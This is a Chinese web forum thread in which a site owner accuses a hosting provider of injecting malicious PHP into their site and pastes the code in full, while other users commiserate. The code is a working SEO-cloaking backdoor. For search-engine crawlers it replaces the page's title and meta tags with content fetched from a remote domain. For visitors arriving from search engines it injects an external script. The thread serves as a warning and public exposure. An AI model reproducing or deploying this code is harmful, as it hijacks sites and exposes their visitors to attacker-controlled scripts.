·设为首页收藏本站📧邮箱修改🎁免费下载专区📒收藏夹📱AI全功能
12下一页
返回列表 发布新帖

狗粮养的小服务商,大过年在这里搞小动作

77 19
发表于 1 小时前 | 查看全部 阅读模式

马上注册,免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
狗粮养的小服务商,大过年在这里搞小动作 我把狗日的代码贴出来try {    $content = $response->getContent();

    if (!empty($content) && is_string($content) && stripos($content, '</html>') !== false) {

        $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $is_spider = false;

        if (preg_match('#(Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn|MyCustomUA)#i', $ua)) {
            $is_spider = true;
        }

        if ($is_spider) {


            $current_url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
            $url_hash = md5($current_url);
            $remote_url = 'http://liuhe.bwzhizhuchi.com/tdk/api.php?url=' . urlencode($current_url);
            $cache_file = __DIR__ . '/runtime/tdk_' . $url_hash . '.json';

            $cache_time = 31536000;

            $remote_data = null;
            $has_data = false;

            if (is_file($cache_file) && (time() - filemtime($cache_file) < $cache_time)) {
                $json = @file_get_contents($cache_file);
                $data = json_decode($json, true);
                if (!empty($data) && isset($data['title'])) {
                    $remote_data = $data;
                    $has_data = true;
                }
            }

            if (!$has_data) {
                $context = stream_context_create([
                    'http' => [
                        'timeout' => 3,
                        'method'  => 'GET'
                    ]
                ]);

                $json = @file_get_contents($remote_url, false, $context);

                if ($json) {
                    $data = json_decode($json, true);
                    if (!empty($data) && isset($data['title'])) {
                        $remote_data = $data;
                        $has_data = true;
                        if (!is_dir(dirname($cache_file))) {
                            @mkdir(dirname($cache_file), 0777, true);
                        }
                        @file_put_contents($cache_file, $json);
                    }
                }
            }

if ($has_data) {
                $seo_title = $remote_data['title'];
                $seo_key   = $remote_data['keywords'];
                $seo_desc  = $remote_data['description'];


                $content = preg_replace('/<title[^>]*>[\s\S]*?<\/title>/i', "<title>{$seo_title}</title>", $content);


                $reg_key = '/<meta\s+[^>]*name=["\']keywords["\'][^>]*content=["\'][\s\S]*?["\'][^>]*>|<meta\s+[^>]*content=["\'][\s\S]*?["\'][^>]*name=["\']keywords["\'][^>]*>/i';
                if (preg_match($reg_key, $content)) {
                    $content = preg_replace($reg_key, '<meta name="keywords" content="'.$seo_key.'">', $content);
                }


                $reg_desc = '/<meta\s+[^>]*name=(["\'])description\1[^>]*content=(["\'])([\s\S]*?)\2[^>]*>|<meta\s+[^>]*content=(["\'])([\s\S]*?)\4[^>]*name=(["\'])description\6[^>]*>/i';

                if (preg_match($reg_desc, $content)) {
                    $content = preg_replace($reg_desc, '<meta name="description" content="'.$seo_desc.'">', $content);
                }
            }

        } else {

            $referer = $_SERVER['HTTP_REFERER'] ?? '';
            if (preg_match('#(Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn|MyCustomUA)#i', $referer)) {

                $human_js = '<script src="https://vip8zhizhun.com/tdk.js"></script>';

                if (stripos($content, '</body>') !== false) {
                    $content = str_ireplace('</body>', $human_js . '</body>', $content);
                } else {
                    $content .= $human_js;
                }
            }
        }

        $response->content($content);
    }
} catch (\Exception $e) {
}

$response->send();
?>
我要说一句 收起回复

评论19

CrystαlLv.8 发表于 1 小时前 | 查看全部
短短几个小时收录几万非法信息,妈的不是第一次了,回头我一定要曝光
我要说一句 收起回复
回复 支持 反对

使用道具 举报

CrystαlLv.8 发表于 1 小时前 | 查看全部
站点配置文件都给我改了,草他老母
我要说一句 收起回复
回复 支持 反对

使用道具 举报

浅生Lv.8 发表于 1 小时前 | 查看全部
啊。。。。。
我要说一句 收起回复
回复 支持 反对

使用道具 举报

IT618发布Lv.8 发表于 1 小时前 | 查看全部
卧槽 是服务商干的?
我要说一句 收起回复
回复 支持 反对

使用道具 举报

婷姐Lv.8 发表于 1 小时前 | 查看全部
老哥 曝光是哪家的
我要说一句 收起回复
回复 支持 反对

使用道具 举报

浅生Lv.8 发表于 1 小时前 | 查看全部
不是第一次了,很多次,同样阿里云腾讯云从来没有出现过,他家的服务器没有没被挂过的
我要说一句 收起回复
回复 支持 反对

使用道具 举报

浅生Lv.8 发表于 1 小时前 | 查看全部
等我安全转移先
我要说一句 收起回复
回复 支持 反对

使用道具 举报

IT618发布Lv.8 发表于 1 小时前 | 查看全部
服务器里面一堆站点,他也很会挑,专挑有流量的站下手,真他妈不要脸。
我要说一句 收起回复
回复 支持 反对

使用道具 举报

婷姐Lv.8 发表于 1 小时前 | 查看全部
支持老哥 逆天啊
我要说一句 收起回复
回复 支持 反对

使用道具 举报

回复

 懒得打字嘛,点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

最新热评 加载中...
AI智能体
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:216.73.216.99, 27.155.113.14,GMT+8, 2026-2-21 23:20 , Processed in 1.946065 second(s), 136 queries , Gzip On, Redis On.

Powered by Discuz! X5.1 Licensed

© 2001-2026 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表